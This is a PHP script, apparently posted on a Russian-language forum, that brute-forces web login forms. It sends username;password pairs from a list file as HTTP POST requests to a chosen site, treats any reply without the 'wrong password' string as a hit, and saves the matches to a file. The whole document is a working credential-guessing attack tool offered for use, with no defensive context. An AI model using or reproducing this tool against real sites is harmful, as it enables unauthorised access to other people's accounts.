Код:
<?################Брутфорс  Форм##################  
///////////////////////----(c) nc.STRIEM----//////////////////////////  
   $filepas="file.txt"; ///файл   с данными для брута  
   $filegood="good.txt"; ///файл с подходящими паролями  
   $endifg=1; ///закончить при первом же найденом 1-да 0-нет  
     
   $iskl=array();  
//////строки которых не  должно быть в правельных страницах/////////  
    $iskl[0]="Неверный пароль";  
   //$iskl[1]="Неверная длина пароля!";  
   //$iskl[2]="ERROR";  
   //$iskl[3]="Ошибка";  
     
//////////////////////////////////////////////////////////////////  
   $host="localhost";  ///хост  
   $script="/form.php";     ///скрипт   
                                     
///////////////////////////////////////////////Передоваемый Header ///////////////////////////////////////////////////////      
   $header="POST http://$host$script HTTP/1.0\r\n";  
   $header.= "Host: $host\r\n";  
   $header.= "Content-Type: application/x-www-form-urlencoded\r\n";  
//////Не обязательные параметры! но не всегда///  
   //$header.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";  
   //$header.="Accept-Language: ru\r\n";  
   //$header.= "Proxy-Connection: Keep-Alive\r\n";  
   //$header.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425))\r\n";  
   //$header.="Referer:  http://microsoft.com\r\n";  
   //$header.="Cookie: CREATED=nc.STRIEM\r\n";  
####################################Сам брут#####################################      
   set_time_limit(0);  
   $fo=fopen($filepas,"r");  
   $kolvoporolei=0;  
   $timestart=time('U');  
   $fgo=fopen($filegood,"a");  
   echo "<h3><center>Мы брутили http://$host$script</center></h3>";  
while(!feof($fo))  
{/////////////////////////////////////////////  
$fp = fsockopen("www.".$host, 80, $errno, $errstr, 30);  
if (!$fp)   
   echo "$errstr ($errno)<br />\n";  
else   
{  
 $kolvoporolei++;  
  $dan=rtrim(fgets($fo));  /////берем данные из файла  
   $dannii=split(';',$dan);  
     
   $out=$header;  
   $zapr="login=$dannii[0]&password=$dannii[1]";     ////имена переменных и их значения сюда  
   $contleng=strlen($zapr);  
   $out.= "Content-Length: $contleng\r\n";  
   $out.= "Pragma: no-cache\r\n\r\n";  
   $out.= "$zapr\r\n\r\n";  

    fwrite($fp, $out);  
   $conte="";  
while (!feof($fp))   
  $conte.=fgets($fp);  
    
 $est=1;  
for($i=0;$i<sizeof($iskl);$i++)  
  if(strstr($conte, $iskl[$i]))  
    {  
    $est=0;  
    break;  
    }  
/////может понадобиться при настройки///  
//echo htmlspecialchars($conte); break;  
/////////////////////////////////  
if($est)  
  {  
  fwrite($fgo,$dannii[0].";".$dannii[1]."\n");  
  echo "<h3><tt>Найдено:".$dannii[0].";".$dannii[1]."</tt></h3>";  
  if($endifg)  
     break;  
   }  
    fclose($fp);  
 }  
}//////////////////////////////////////////////////////////////////////////////////////////  
fclose($fgo);  
$time=time('U')-$timestart;  
echo "<h1><center>Закончено</center></h1><br><h3><tt>Проверенно $kolvoporolei вариантов, за $time секунд!</tt></h3><br><h4 align=center><center><tt>©*nc.STRIEM<br>nc.striem@mail.ru</tt></center></h4>";  
?>